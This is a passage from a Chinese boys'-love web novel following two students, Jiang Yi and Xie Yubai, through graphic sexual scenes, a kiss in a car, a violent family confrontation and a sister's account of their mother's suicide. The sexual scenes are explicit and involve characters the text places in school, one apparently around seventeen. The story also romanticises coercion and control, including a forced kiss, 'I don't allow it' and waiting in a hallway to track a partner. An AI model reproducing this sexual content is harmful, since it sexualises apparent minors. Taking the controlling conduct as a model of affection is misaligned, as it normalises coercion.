他打了个喷嚏:“刚刚在浴室对我那么粗暴。你犯病了?”一边说话,刚刚脸红心跳的一幕幕在眼前浮现,两人彼此相贴摩擦,江逸呼吸变快。 回过了神,谢逾白气消了大半,想起自己方才的言行,不禁有些赧然。他低下头,喉结上下滑动,轻吐一口气,试图让自己镇定下来。 他故作镇定地看向江逸,江逸身着浴袍,轻薄的布料松垮地挂在身上,露出他线条优美的身躯。 江逸的脸庞染上了情欲的余韵,双眸水润迷离,眼神中透着一丝慵懒。 他红润的嘴唇微微肿起,浑身上下散发着一种情动之后独有的媚态。 谢逾白声音低了几分,“我看见你和他那样,受不了。” 谢逾白抿紧嘴唇,看着江逸的脸,眼神眷恋痴迷。 他修长的手指捏住江逸浴袍的领口,缓缓拉开。 刹那间,江逸白皙的胸膛袒露在空气中。谢逾白只觉喉咙一阵干痒,仿佛有团火在灼烧。 他乌黑深邃的眼瞳看向江逸,眸光中春色弥漫,情意在其中肆意翻涌。他声音沙哑,“要不要补偿你一下?” 江逸被卷入了那深邃的黑眸漩涡之中,意识渐渐迷离,“你,今晚,还想干什么。” 谢逾白吐出简短的字眼:“干你。” 他的回答简单直接,如同重锤一般撞击着江逸的内心。 第40章 我肯定优先考虑你。…… 谢逾白屈膝, 膝盖稳稳地抵在地上,仰起头,姿态高傲得仿若童话中的王子。 他轻启薄唇, 身姿放低。 江逸脑子过电似的,下意识五指伸进谢逾白浓密的头发,摩挲着那柔软的发丝。 随着谢逾白的动作,江逸喉咙里不受控制地发出高高低低的气音。 江逸全身宛如被温柔地裹在了一泓温热的温泉之中,每一寸肌肤都被暖意包围。 一波接着一波的海浪,拍打着他的脊椎骨, 顺着那一节节的骨节攀升。酥麻的电流如同细密的网, 漫过全身,他忍不住微微颤抖, 沉浸在这难以言喻的奇妙感受之中。 这次的体验相较上次, 简直有着天壤之别。谢逾白的动作褪去了上次的青涩生硬, 取而代之的是恰到好处的技巧。 他双手游走在江逸的身躯上, 时而如羽毛般轻触,撩拨得江逸浑身一颤;时而加重力道, 让江逸的呼吸愈发急促。 他的唇未曾闲着, 沿着江逸的脖颈一路向下, 炽热的吻如同星星之火,点燃江逸身体里的每一处神经。 在这般细腻且充满技巧的逗弄下,江逸仿佛置身于一片混沌的云海之中,双眼渐渐失神,眼神中只剩下沉醉,嘴里不断溢出羞恼的声音,他用手堵住嘴。 他置于海的浪尖,一波又一波的快感汹涌袭来, 让他□□,沉浸在欢愉之中无法自拔。 谢逾白倾身而下,强势地将他压制,紧接着唇覆了上去。江逸下意识偏头躲闪,谢逾白手指捏住他的下巴,不容抗拒地将他的脸掰正,强行吻住了他。 江逸睫毛上下颤抖,身体仿佛被抽去了力气,绵软得无法反抗,任由对方肆意亲吻。 谢逾白的舌尖灵巧地探入,细细舔舐着他口腔里的每一寸,津液在两人唇舌间牵起丝丝缕缕的黏连。 江逸的喉咙忍不住咽动,胸口在摩擦之下传来一阵细微的刺痛,异样的感觉迅速蔓延开来。 他的耳根与脸颊被羞赧染得通红,这般疯狂且从未有过的体验,将他彻底淹没。 谢逾白嘴唇贴着他,眼底幽暗发红,“我拿你怎么办?” 江逸大口喘息,手背抹了一把红艳艳的唇瓣,怒目而视:“你刚才亲了那里,直接亲我?” 谢逾白唇畔一挑,眼尾上扬:“我没说什么,你倒是嫌弃了?你自己的身体,你有什么可嫌弃的?” 他的确没尝到什么奇怪的味道,这次谢逾白及时躲开了,脸上干干净净的。 谢逾白虎口卡住他绯红的脸,看着他潮湿的眼瞳,“你身体我亲手洗的,很干净,别在意了,我问你,刚刚舒服吗?” 江逸听了这话,那本就绯红的脸颊如火烧云一般,扭过头去,被谢逾白卡住的脸却只能稍稍侧转,无法避开对方那炽热的目光。 “回答我。” “你怎么忽然变得这么会了?” “你给我的视频,学的。” 学霸学什么都这么快吗?江逸脸烫得像开水,咕嘟咕嘟冒着泡,“谢逾白,你……那里我看到了。” 谢逾白反应过来他说了什么,有些难为情,“看到了,怎么了?” “你怎么那么……” 谢逾白附身捂住他的嘴,“你别什么话全往外说。” 江逸眨巴着眼睛,“你到底怎么长的?难怪你一直回避让我看,你量过没有?” 谢逾白脸色发黑,“你还量这个?” “我没有。”江逸沮丧着脸,“你不会让我做1,是不是?” 谢逾白看着他一脸伤心,抱住他,轻声哄他,“会,会让你。” “少装了,你那么得天独厚,还持久,我能满足你?” 谢逾白耳根发烫,谈论这个话题,他有点不自在,选择抿唇不语。 “你少装贞洁,一晚上搞我这么多次,你在我面前装什么装!” 谢逾白声音低哑,“你体力不太行,持久性也差,耐心不佳,可能做1不那么得心应手。”他觉得自己说得很委婉。 江逸眼睛圆溜溜地瞪他,“你别想美事,我不做0。” “今晚你不舒服?我没亏待你,这样不挺好的?我也没顶进去。” 顶这个字让江逸脸红,“你别说了。” 谢逾白:“……” 这话题谁挑起来的? 想到两人今晚互相摩擦,江逸想想就心跳加速,“你跟谁学的那些花样?” “里面有几个视频,我全看了。” 是全学了吧?江逸抱紧双臂,眉心皱了下,“好疼。” “哪里?” “你把我这里咬疼了,现在隐隐发疼,你以后能不能别弄这里。”他指了指自己胸口。 谢逾白微微失神,“我很喜欢那里,我一碰就硬,下次我不咬,亲它。” 江逸脸红到滴血,咬着牙说,“你还要不要脸了!” 他把江逸紧紧环住,心神微敛,语气无可奈何,“我太爱你了,怎么办?” 这是他第一次用爱这个字眼,江逸有些意外,“你差不多得了,二十不到的年龄,什么爱不爱的。” “你没对我认真,压根没想过跟我一辈子,对不对?” 江逸直觉这个问题回答不好,今晚要没完没了,“我们慢慢来,一辈子太长,从当下开始。你看我对你多忍让,你这么搞我,我也没生气。” 谢逾白亲他耳朵,“因为我让你舒服了。” “我更累好不好,腿软的不行,一晚上三次,我从来没这样过,肾要受不了了。” “多练练就好了。” 江逸诧异地看他,“谢逾白,你脸皮也修炼了?” 谢逾白垂眼嗯了一声,开始铺床,“你跟我睡一张床。” “陈最呢?” “我给他另外开了间房。” 今日正巧有空房间,谢逾白第一时间与陈最分开房间。他向来就不习惯与他人共处一室,“如果不是早有安排,我能跟你这么放肆?” “你变态起来说不准能干出什么事。”那种被控制被侵占的感觉,让江逸现在想起来,还浑身发抖。 留下来,他这一晚上别想睡安稳。 “我要回去。你给我找套衣服。” 江逸语气坚决。 谢逾白的脸色阴霾下来,目光如炬地盯着江逸,“你说什么?瞧你现在这副模样,浑身都是我留下的痕迹,你想去哪儿?” “我回我自己房间。” 江逸的皮肤一层淡淡的薄红,那抹红从脸颊蔓延,直至脖颈与胸口。 他的脖颈处布满了深浅不一、娇艳欲滴的痕迹,胸口的点点印记,无声地诉说着方才的意乱情迷。 “我不准。” 谢逾白的声音低沉不容违抗。 “我不是你的宠物!” 江逸双眼瞪得滚圆,愤怒地直视着谢逾白,“我有选择自己生活的权利,谢逾白,你别太过分了,适可而止!” 谢逾白深深吸了一口气,压抑着内心的情绪,挤出两个字:“随你。” 他不再看江逸,脸上满是复杂的神色,找出一套高领的黑色打底衫,和长款睡裤,递给他,“穿着。” 江逸二话不说,直接从谢逾白手中夺过衣物。他赤着身子,毫无顾忌地开始穿衣。 他白皙的肌肤上,到处都是被捏出的淡淡淤青,密密麻麻的暗红色吻痕,或深或浅,从肩头一路至腰侧,大腿。 谢逾白不经意间瞥见,目光一下子定住。他没想到自己竟如此失控,留下了这么多痕迹。那些痕迹像是滚烫的烙印,灼得他眼热。 一种莫名的情绪涌上心头,他有些害羞,耳根悄然爬上一抹红晕。他别过视线,不敢再看。 “你回去,晚上身体不舒服了,怎么办?” “还能怎么办?只能忍着。”江逸披上羽绒服外套,关上门,连头都没回。 谢逾白捡起地上的浴袍,看着微凌乱的床铺,心里五味杂陈,今晚注定是一个难眠的夜晚。 江逸的两条腿不听使唤,好不容易扶着墙走回房间,打开门,房间里一片漆黑,摸索到自己的床,一头栽倒进去。 他感觉脸颊热烘烘的,喉咙干渴,顾不得那么多了,今晚折腾了两三个小时,身心俱疲,很快睡着了。 次日早晨,江逸感觉什么人在摸他的头,隐约听见有人在说话,又有人掀开他的被子,他费力地睁开看,看到林飞羽的脸。 “逸哥,你醒了?” “有、”江逸一张嘴,发现嗓子哑了,“水,有吗?” 傅现沉着脸递过来一杯温水,江逸喝了满满一杯,“谢了。” 林飞羽手里拿着体温计:“你赶紧测一下体温,我觉得你额头温度有点高。” 江逸摸了摸自己,没接温度计:“没事,不怎么热,有感冒药吗?给我两片,我身体素质好,吃两片就能顶过去。” 傅现眼睛看着他,面色不虞,“你的脸色很差,真没事?” “是啊,逸哥,你怎么了?睡觉怎么也不脱衣服,还穿着高领衫。”林飞羽扯了一把他的衣领,领口下面的皮肤好几个红色印记,他脑子死机了一瞬,空气骤停。 随后,林飞羽兴奋地扑到他身上,把他衣领往下扯,江逸刚睡醒,没什么力气,被他扯开,林飞羽音量拔高,“逸哥,你被强了吗?上次是嘴唇,这次是脖子,嫂子这么猛?” 林飞羽坐在床上,笑到快断气。 江逸把他推下床,脚踹他的腿,“滚一边去,少跟我动手动脚的。” 林飞羽眼泪快笑出来了,“你不跟我说你女朋友是谁,我出去看,哪个女生牙口最好,就是谁。亏着我跟现哥还关心你难不难受,原来你昨天晚上风流快活去了。” “闭嘴吧你,再说一个字,小心挨揍。” 江逸浑身酸痛,昨晚的放纵,比打了一场激烈的篮球赛对体力的消耗还大。 他根本不敢换衣服,只换了裤子,脱下的时候,不知道牵扯到哪根神经,他面露痛苦的表情,刚好跟傅现视线撞到一起。 傅现皱眉:“你哪里不舒服?” 江逸心道哪里都不舒服,他说不出口,“肌肉拉伤,没什么。” 江逸喝了感冒药,跟他们下楼去吃饭,进了餐厅打完饭,看到身后不远处谢逾白刚好进来,对方眼神不紧不慢地跟着他。 江逸的目光定在谢逾白脸上。他薄唇色泽浅淡,唇角微扬,眼神含着无尽深意。 江逸拍了下林飞羽的胳膊:“我找谢逾白说点事,你们吃吧。” 他来到谢逾白的桌子旁,“同学,这位置有人坐吗?” 谢逾白瞥他,下巴微抬,“怎么?” “没有人的话,我坐这了。” 谢逾白手搭在餐盘边缘,修长手指骨节匀称,指甲圆润。看着他这双手,江逸开始想入非非,昨晚零星的几个片段闪现在脑子里。 谢逾白的手真好看,也好用,修长又有劲力。 修长漂亮的手指伸过来,点了点他的餐盘,“我问你话,你发什么呆?” 江逸脸一红,刚刚他脑子飞哪里去了?果然男人的劣根性,“你说什么了?” 谢逾白好脾气地问,“你身体有没有哪里不舒服?” “哪里都不舒服,快散架了似的。”江逸身体前倾,水光清透的眼瞳看过来,“我还感冒了。”他的声音脆脆的,软软的。 谢逾白心脏一颤,第一次明显感觉到江逸在跟他撒娇,他神情紧张,手指蜷起,“那怎么办?” “下次你能不能别这么暴力?”江逸的眼尾上翘,眼底波光浮动,不经意间撩拨着人心。 谢逾白感觉自己被勾得七荤八素的,一颗心脏忽上忽下,“你少惹我生气,相安无事最好。” “我想了下这件事,没及时看到你给我打电话,是我不好,我除了睡着了和学习的时间,看到电话会接的。另外,我打算语文和英语,你有时间的时候,跟你一起复习。” 谢逾白心底涌起一阵狂喜,生怕表现得过于露.骨,故作镇定地开口:“怎么突然就想通了?要知道,傅现英语和语文向来不怎么样,不明白你怎么信得过他。” 江逸心中暗自腹诽,傅现全校大榜排第二,这两门学科能差到哪里去?他懒得与谢逾白争辩,索性对着他绽放出一个明媚的笑容。 这一笑,仿佛刹那间点亮了整个世界,绚烂夺目。 谢逾白终究没能扛住这笑容的“攻势”,手中动作陡然顿住,痴痴地凝视着江逸的笑颜。 江逸抬手轻轻敲了敲谢逾白的餐盘,脸上笑意未减,眼眸弯弯地问:“你在发什么呆呀?” 谢逾白收敛心神,“我叫了司机过来接我们。你吃完饭把行李收拾好,来我房间,我们一块下去。” “你为什么要叫司机来呢?” “没什么特别原因。” 江逸突然明白了什么,眼中闪过一丝狡黠,“难道因为我?”想到昨晚自己状态欠佳,谢逾白一直忧心忡忡的模样,真是这个缘由? 谢逾白有那么几秒愣在原地没有回应,这般反应,如同默认了一般。 江逸心思转得飞快,他下意识瞥了眼手机,九点多了,平日里向来早起的谢逾白,居然这会儿才来吃早餐。 江逸带着几分试探地问:“你平常挺早的,今天这个点才来食堂,该不会特意等我一起吧?” 谢逾白听到这话,手中筷子“啪嗒”一声放下,“你到底还吃不吃了?哪来这么多话。” 江逸啧了一声,语调轻快地调侃,“谢逾白,你好可爱,想跟我约饭直说嘛,你是我男朋友,我肯定优先考虑你。” 40-50 第41章 “你喂我,我就吃。”…… 两人踏入那辆黑色迈巴赫, 江逸眼中闪烁着光芒,目光胶着在谢逾白身上,若有所思。 “你看我做什么?”谢逾白被瞧得有些不自在。 “我男朋友长得这么帅, 不许我欣赏?”江逸故意拖长语调,声音痞痞的。 谢逾白下意识地朝正在开车的李师傅看去,好在对方目不斜视,专注驾驶。 车子前行,密闭车厢内,江逸身上那股独特的气息, 恰似阳光与皂角混合的清新味道, 悠悠萦绕在四周。 江逸若有所思地问:“我有点想不明白,早晨你怎么精准把握跟我一起去的餐厅, 你又不知道我几点起床。” 谢逾白侧头看他, 不知道该怎么回答。 江逸摇晃他的肩膀, “快告诉我。” 谢逾白双手下意识地在腿上摩挲, 嘴唇微微开合,“我看到的。” “你在房间里, 怎么看到的?”两人的房间各在走廊的一端, 距离挺远。 “刚好看见了。” “刚好?”江逸从他窘迫的表情分析出来, 不是这样的,“难道你一直在走廊等着?” 谢逾白紧抿着嘴唇,唇色因用力而泛白,“嗯。” 江逸看着他,心脏微微发紧,身体往前探,手臂环住他的腰,“你怎么不直接给我打电话, 那么辛苦做什么?” 谢逾白微侧过脸,低垂的眼眸,被长睫覆着,“有什么辛苦的。这种事我以前经常做。” 看他完全没察觉自己的做法有什么不妥,江逸给他解释,“以前是以前,现在我们谈恋爱,你偷感能不能别那么重?有什么需求大大方方的跟我提。我尽可能满足你。” 谈恋爱为了什么?不就是甜甜蜜蜜的吗? 谢逾白神色一阵变幻,面色阴晴不定,沉默半晌后开口:“我提了你会拒绝。” “你干涉我交友,我会拒绝,你约我一起吃早饭,我不会拒绝你。” “你不怕被人误会?我跟你的关系。” 江逸满不在乎地说:“只要我们不在同学面前亲嘴,没人会怀疑我们。” “口无遮拦。”谢逾白淡淡瞥他一眼。 谢逾白身子挺直,正襟危坐,“你早上吃感冒药了吗?” “早晨吃过了,中午还没吃呢。”江逸吸了吸鼻子,声音带着明显的鼻音。 谢逾白板起脸,“你先把药吃了。” 江逸眼底眸光流动,在谢逾白耳边轻声低语:“你喂我,我就吃。” 谢逾白伸手按下按钮,将司机与后排之间的挡板升起。 江逸好奇地问:“还有挡板功能呢?你挡住干什么?” “过来,我喂你吃药。” 江逸等着谢逾白把药放入自己口中,笑盈盈地看着他。 谢逾白手臂一伸,直接将人揽进怀里,江逸的头顺势枕在他的臂弯。 江逸仰起头,自下而上地看着谢逾白的脸,这个角度堪称死亡视角,谢逾白依旧帅气得让人移不开眼,优美的下颌线,如同一道完美的弧线,长长的睫毛,浓黑的剑眉透着英气。 江逸沉浸于欣赏男友帅气脸庞时,谢逾白的脸突然放大,嘴唇覆了上来,口中的水渡到江逸嘴里。 江逸活了这么多年,从未经历过这般亲密的举动,一时间有些慌乱,水顺着他的嘴角一路滑落,浸湿了胸前的衣襟。 江逸的脸烧得滚烫,嘴里含着药,支支吾吾地说:“苦,谢逾白,药还在呢。” “你怎么连喝水也不会?”谢逾白有些难为情,又喝了一口水,再次俯身。 江逸的嘴唇再次被含住,这次他紧紧贴合着谢逾白的薄唇,努力将水咽下,耳边只听到自己的心跳声,“轰隆隆”直响,仿佛要冲破耳膜。 他头埋进谢逾白的腰腹间,心里暗自惊叹:没想到他这么会。 “是你自己要求的,这会儿害羞什么。”谢逾白的声音从头顶传来。 江逸猛地一下直起身,结果脑门“砰”地撞到了谢逾白的下颌。两人同时吃痛,捂着被撞到的地方,忍不住嘶了几声。 “怎么成我要求的了?”江逸这才反应过来,急忙解释,“我让你喂我水,是用矿泉水瓶喂,不是这个意思!” 谢逾白一下子愣住了,嘴唇微微蠕动,一时间竟不知该如何回应,“你的意思,我……误解了。”他用手虚虚捂住嘴,尴尬的气氛弥漫开来。 江逸存心逗他,“误解?我看你就是故意的。”他拉开自己的衣服领子,脖颈上的红色吻痕全部暴露出来,“昨晚你把我啃这样,我们是不是要清算一下?” 谢逾白眼睑微敛,“你想如何清算?” “你怎么对我,我要还回来。”江逸贴近他的耳朵,看着他紧绷的侧脸,“你数一数,你留下多少个?害我被林飞羽这狗逼一顿笑话。” 谢逾白斜他一眼,“我不数,你自己数。” “我数过了,18个。” 谢逾白心中有愧,没精力去分辨真假,“可以,我答应你,还完了你就不能再提这件事。” 江逸几乎憋不住,强忍着没笑出声,在他脸上吹了一口气,“我亲你的时候,你不能反抗,不能拒绝。” 谢逾白耳根悄然染上一层淡淡的红晕,煞是可爱。江逸瞧见,伸手扳过他的侧脸,将嘴唇贴上他泛红的耳朵。 江逸的唇瓣轻柔摩擦,软滑的舌头探出来,不经意地□□,眼底透着促狭与漫不经心。舌面灵巧地卷住谢逾白的耳垂,一下下勾动。 谢逾白只觉一股电流顺着耳朵传遍全身,身子猛地一颤,脸上的红晕迅速蔓延至整张脸。 他想躲开,被江逸牢牢固定。他想出声制止,声音喑哑:“江逸,别这样。” 他双手抓紧身侧座椅,心中羞恼,在江逸亲昵举动下,彻底乱了方寸,此时他才幡然悔悟,这十八下,他答应的太草率了。 江逸亲得心满意足,可能是感冒药的原因,他开始犯困,抱着谢逾白的胳膊,阖上了眼睛。 见他睡熟,怕他不舒服,谢逾白靠到门边,拖着他的身体把人放倒在自己腿上。 江逸嘴唇红彤彤的,脸上干干净净,没有一点瑕疵。谢逾白极为小心地伸出手指,碰了碰他的脸颊,接着用拇指指腹压了压他红润的唇肉,心里微微一动。 江逸睁眼的时候,眼神灵动活泼,闭眼时,模样乖巧极了。 不知过了多久,江逸醒来,望向车窗外面,太阳已偏向西边。他看了看时间,竟睡了两个半小时。 平常路程一个半小时就能到的,他转动了下有些僵硬的脖颈:“你怎么不叫醒我?” “看你睡得香。” “下次叫醒我。”江逸说着拉开了车门,发现谢逾白还坐在原位,司机不见踪影,“你怎么不下车?” “我腿麻了,缓一会儿。”谢逾白边说边锤了两下腿。他身着窄版休闲裤,修长的腿部线条被衬得十分好看。 江逸单腿跨进车内,面对面坐在谢逾白腿上。 谢逾白的神情紧张起来,江逸这一坐,不仅那条腿,他半边身子全麻了。 江逸反手关上车门,手臂自然地搂住谢逾白的脖颈,慢悠悠拿起旁边的矿泉水喝了两口,手指在他后颈皮肤上抚摸,“我从哪儿下口呢,你给我点建议,我亲你哪儿好?” 谢逾白全身紧绷,哪还能给出建议,“你要亲就快点,亲完下去。” 江逸挑起一边眉毛,刚坐上来他就察觉到了谢逾白的变化,唇角微微上扬,“你这么快就有反应了?我可什么都还没做呢。” 谢逾白脖颈红透了,江逸与他腿部、腰腹的摩擦,让他根本无法镇定,“你别再撩拨我了。” “不逗逗你,你怎么长记性?昨晚凉水直往我脸上浇。”江逸轻笑一声,拧开一瓶新的矿泉水,水流极细地顺着谢逾白的眉骨往下淌。 他柔软的唇顺着水珠流过的痕迹,在谢逾白的眉骨、脸颊、唇角等处触碰。 谢逾白紧闭双眼,喉结剧烈地上下滚动,双手用力地陷入皮质座椅中,薄唇颤抖。 “张嘴,让我亲亲你。” 谢逾白睁开眼,看向江逸的眼神深沉且炙热。 江逸含住他的双唇,舌头立刻挤了进去,吮吸着他的唇瓣,与他的舌头紧密交缠。他不安分的手顺着谢逾白的衣襟,在其腹肌上游动。 那触感实在美妙,腹肌紧致、光滑且充满力量,再加上柔软湿润的唇舌,江逸几乎要迷失其中。他不禁感叹,怎么会有谢逾白这样令人着迷的人,亲吻和触摸的感觉如此美妙。 渐渐地,他越发沉迷,这个吻逐渐失控,耳边传来两人接吻的啧啧声音。江逸的手也开始往更为私密的地方移动。 谢逾白突然惊醒,气息紊乱地抓住江逸的手,眼底泛红,一边努力平复喘息,一边艰难地开口:“你要跟我做吗?” 江逸扑哧笑出声,手指在他脖颈处流连,按住他突出的喉结:“做什么啊?昨晚你折腾那么久,今天还这么有精神?” “不做的话,你下去。” “我这是在帮你,看看你腿麻好了没?”江逸从谢逾白身上下来,拉开了车门,眼中含着笑意看向他。 谢逾白动了动,腿麻确实好了,可身体另一处却有了反应。他又坐了许久。 江逸靠在车门上,觉得好笑,“你怎么像个大娃娃似的,一碰就有反应。” “什么大娃娃?”谢逾白沉着脸看他,“你是不是在说些不三不四的话。” 江逸吐了下舌头,红嫩的舌尖一闪而过,“我随口一说。” 第42章 给你三分钟,立刻出现在…… 谢逾白迈着修长的腿下了车, 江逸笑着用胳膊肘撞了撞他,“你腿好啦?” 江逸瞧见谢逾白神情严肃,眉心微微蹙起, 便顺着他的目光转头看去。 一个身姿高挑的中年男性,身着剪裁得体的西装,一看便是精英模样。气质冷峻,江逸在谢逾白身上也曾见过类似的冷冽气质。 他比谢逾白更为冷峻,长相刚毅,周身散发着成熟男性的强大气场。 他身旁跟着谢雪姚。谢雪姚朝着江逸微微一笑, “江逸, 这位是我父亲。” 江逸脚步下意识往旁边挪了一步,恭敬地打招呼, “叔叔好, 我是谢逾白的朋友, 江逸。” 谢逾白一把紧紧攥住他的手腕, 语气坚定,“他是我的男朋友。” 江逸仿若遭雷击, 脑子一片空白, 他尴尬地看了看谢逾白坚毅的侧脸, 又将目光投向他父亲刚毅的面庞。 谢承脸上表情平淡,这样历经世事的男人,很难让人看出他此刻的情绪,“知道了,回去吃饭。” 江逸感受到这略显压抑的氛围,赶忙说道,“我回家还有点事,不打扰了, 我先回去了。” 从谢承出现的那一刻起,谢逾白的情绪便十分浓烈,带着重重的排斥感。他看向江逸,“我让李叔送你回去。” 谢雪姚笑着走上前,“江逸,我送你,我们好久没见了。” 谢逾白跟着谢承回到餐厅,像是卸下了肩头沉重的负担,有条不紊地脱掉外套,紧接着猛地操起桌上两个水晶杯,以迅猛的力道朝谢承摔去。 谢逾白脸色冰寒如霜,“你又回来做什么?” 谢承挪动脚步,水晶杯的碎渣溅落到他的皮鞋上,“明天是她的忌日,我回来,一家人一起去看她。” 谢逾白抄起桌上的红酒瓶,用力朝着他扔过去,双眼瞪得几乎要裂开,“你还有脸跟我提她?上次我就跟你说得清清楚楚,永远不许你踏进这个家一步。” “逾白,你别这么偏激。” “你冷静?冷静到她离世,你连一滴眼泪都没有。”谢逾白恨意滔天,眼神凶狠地盯着他,“如果你不想脑袋开花,闹得人尽皆知,就立刻从我家滚出去。” 他冷冷看向刘管家,“马上报警,下次再放这个人渣进来,你直接递交辞职信。” 刘管家顿时冷汗直冒,无奈之下开始拨打电话。 谢承做了个阻止的手势,“我自己走。” 谢逾白坐在餐桌旁,长长地叹了口气。桌上摆满了山珍海味,可他毫无胃口。 刚刚在车上,他跟江逸说,厨师做了他爱吃的四川菜。 他手机收到江逸发来的短信:【我到家了】 江逸发完信息,正准备下车,谢雪姚拉住了他,“找个地方,我们聊聊。” 江逸看向不远处的糖水店,“姐姐,你喝糖水吗?” “行啊。” 二姨夫正在看店,见江逸来了,还带着一个漂亮又有些妩媚的姐姐,便问道,“小逸来了,这位是……” “我朋友的姐姐。”江逸招呼谢雪姚坐下,然后亲自为她盛了绿豆沙和红豆沙,“姐姐看看喜欢哪种,都尝尝。” 谢雪姚觉得江逸身上的气质颇为独特,初次见面时,他酷酷的,之后接触下来,发现他温和随性,或许只有这样的人,才能跟自家那个别扭又执拗的弟弟合得来。 “我一直想当面谢谢你几个月来对逾白的照顾,他现在状态很不错。” 江逸冲她眨眨眼,“你付了费,我当然得用心。” “可是,你只收了第一个月的护理费,之后我给你打钱,你那张银行卡注销了。” “因为他痊愈了,不需要人护理了。” “之前答应给你的三百万,你给我新的卡号。” 江逸摇头拒绝,“以前没要,现在更不敢要了。谢逾白知道了能闹个天翻地覆。” 谢雪姚不禁抿嘴轻笑,“我能想象,逾白从小就任性,你想象不到他挨了多少打,死活不肯低头。我很庆幸能从家里出来,像现在这样坐在这里跟你轻松地说说话。” 从她略显黯淡的神色中,江逸察觉到一丝异样,“家里怎么了?” 谢雪姚手托着腮,“估计他俩打起来了。” “这么严重?为什么?”江逸知道谢逾白家里肯定有问题,他生病那么严重,没人陪护,去他家多次,从未见过他的父母。 “逾白没跟你说过我家的情况?我想他不会主动说的。毕竟这不是什么光彩的事。” 江逸点头,“他没提过。” “鉴于你们现在是恋爱关系,我跟你简单讲讲。我母亲四年前去世了。”谢雪姚眼神中闪过一丝哀伤,“自杀,吞了一整瓶安眠药。逾白发现的。” 江逸心中一紧,像是被针尖刺了一下,“他发现的?” “当时他15岁,放学回来发现的,是他叫的救护车,报的警。” “我妈妈患抑郁症好些年了,前前后后有七八年。她精神敏感脆弱,一直和逾白生活在一起。我父亲是个事业心极重、感情淡漠的人。如果仅仅如此,或许还不至于把她逼上绝路。他不仅感情淡漠,对逾白和妈妈缺少关心,同时还是个掌控欲极强、要求极高的人。” “我母亲和父亲一样,顶尖大学法律专业毕业的。婚后生了我和弟弟,在家照顾我们。生完逾白后,她就开始患上产后抑郁症,随着时间推移,她变得愈发敏感,和父亲的关系也日益恶劣。五年前,她开始积极配合治疗,找了心理医生。在我们以为一切都在往好的方向发展时,她提出了离婚。” “原来让她痛苦的根源是我们这个家。她极度渴望脱离,可我父亲不答应。他顾及自己的身份地位,而且妈妈持有公司的大部分股份,种种原因,让他不愿离婚。他那病态的执念,非要维持这个家庭,为此他们争吵不断。那一年,逾白听到过他们多次争吵。最后,某个事件爆发,妈妈做出了极端的事。” “因为她患病多年,性格偏激,追求十全十美,很多负面情绪都发泄在逾白身上。可以说,他没什么童年可言,时间被安排得满满当当,没有娱乐,没有朋友,一直被操控着。他只是偶尔反抗,大部分时间都满足妈妈的要求,直到她突然离世。逾白因应激反应病倒了,整整四天,一粒米都没吃。” 江逸越听越心惊,“谢逾白从那时起就得了抑郁症?” “确切地说是躁郁症。”谢雪姚痛苦地回忆着,“有一次,父亲去看他,逾白不知从哪弄来一把刀,捅了他一刀。父亲在医院躺了一个月,只要刀锋再偏一点,扎到内脏,他可能就活不了了。” 江逸终于明白谢逾白身上那股阴暗疯狂的劲儿从何而来。 “那件事之后,他不肯吃饭,我和爷爷怎么劝都没用。直到他遇到了你。” 江逸震惊不已,手指着自己,“我?我们四年前见过?” “我们不能让父亲和他在同一个医院,怕他再做出什么事。他又不允许我们送他去专门的精神科,只能去我妈妈一个朋友的科室,挂了消化科。那时,他遇到了你。” 江逸努力回忆,四年前,他念初二,姥姥生病住院两个月,他每天放学后都会去医院。他脑海中隐隐浮现出一个身影,瘦瘦的,一个哑巴。 “难道那个小哑巴是谢逾白?”江逸努力回想,又觉得不太像,“那人瘦得皮包骨,没我高。” 谢雪姚眉眼带笑,“逾白的个子是高中开始蹿起来的,初中时大概一米七左右,他发育得晚。” “那个小哑巴还戴着副黑框眼镜。” “妈妈从□□他大量看书,他后来做了近视眼手术,现在常得意自己有5.0的视力。” 江逸顿时心生一阵酸楚,他对姥姥隔壁床的小哑巴有些印象。那人总是形单影只,面色灰暗,瘦得仿佛一阵风就能吹倒。 整整两个月,他没说过一句话,江逸当时真以为他是哑巴。 “迟来了四年,我还是要说。谢谢你,江逸,谢谢你把我弟弟从深渊中拉出来。请你继续陪着他,让他好好活下去,哪怕能让他有一点点开心也好。”谢雪姚拭去眼角的泪水。 江逸长长叹了口气,把绿豆沙推到谢雪姚面前,“你喝点,甜的。” “谢谢。”谢雪姚舀了一勺送入口中,甜美的滋味在舌尖散开。“你别责怪逾白偏激,他没有目标方向。他从小被妈妈安排着长大,骤然失去至亲,他能活到现在很不容易了。” 江逸察觉到谢逾白看似拥有一切,实则一无所有。知道缘由后,他心里满是对谢逾白遭遇的心疼。 回到家,江逸的心依旧难以平静。他做好饭菜,心里担忧着谢逾白有没有吃饭,刚刚发的消息,谢逾白没回复。 江逸拨通电话,响了几声后,谢逾白接通了。 “你吃饭了吗?” 过了一会儿,谢逾白含糊地应了一声:“嗯。” “你在家做什么呢?想没想我?” “嗯。” “我吃完饭去找你好不好?”江逸看了看窗外,天空一片墨蓝,点缀着几颗星星。 谢逾白声音平淡:“不用。” “我想陪陪你,你这么拒绝我,我会伤心的。” “我不是拒绝你,你看向窗外。” 江逸心跳陡然加快,心里有了某种预感。 他透过落地窗向外望去,只见一辆线条流畅的黑色汽车车身前,倚着一个孤独的身影。那人手里拿着电话,仿佛心有灵犀一般,抬头看了过来。 江逸只觉脑子一阵轰鸣,心脏剧烈跳动,谢逾白的面容直直撞进他心底。他呼吸凌乱,声音变得沙哑,“你、你什么时候来的?” 听筒里传来的声音低沉而撞击人心,“来了没多久。” “你骗我是不是?谢逾白,这么冷的天,你到底来了多久?” “我也不清楚。” “你为什么不直接给我打电话,上楼来?” 谢逾白声音平静,“我心情不好,去找你会影响你的心情。” “你当我是什么?你开心时的玩伴吗?谢逾白,给你三分钟,立刻出现在我眼前。”江逸挂断电话,打开门。 他紧张地盯着时钟,一分钟,两分钟,指针即将走完第三圈时,楼道里传来越来越近的脚步声。 谢逾白仿佛刚从冰天雪地中归来,浑身散发着凛冽的寒意,他眉如墨画,薄唇泛着青白,墨色头发沾着未化的薄霜。 江逸见状,赶忙伸手紧紧拽住他的衣领,将他拉进屋内。 江逸紧紧抱住他,他身上冷得像冰窖,“你这温度,没一个小时冻不出来。” 谢逾白轻声说道,“没有一直冻着,太冷的时候,我回车里坐了会儿。” “我得表扬你?你不进我家来,为什么不一直坐在车里?” 谢逾白沉默片刻,“站在外面偶尔能看到你的身影。” 江逸直直地凝视着他的眼睛,“你身上这股劲儿,怎么这么欠日。” 第43章 你只能被我看。 “我可真是活菩萨, 居然能忍你这么久。”江逸语气透着不满,伸手拍掉他身上的寒霜,望着他幽深的眼眸, 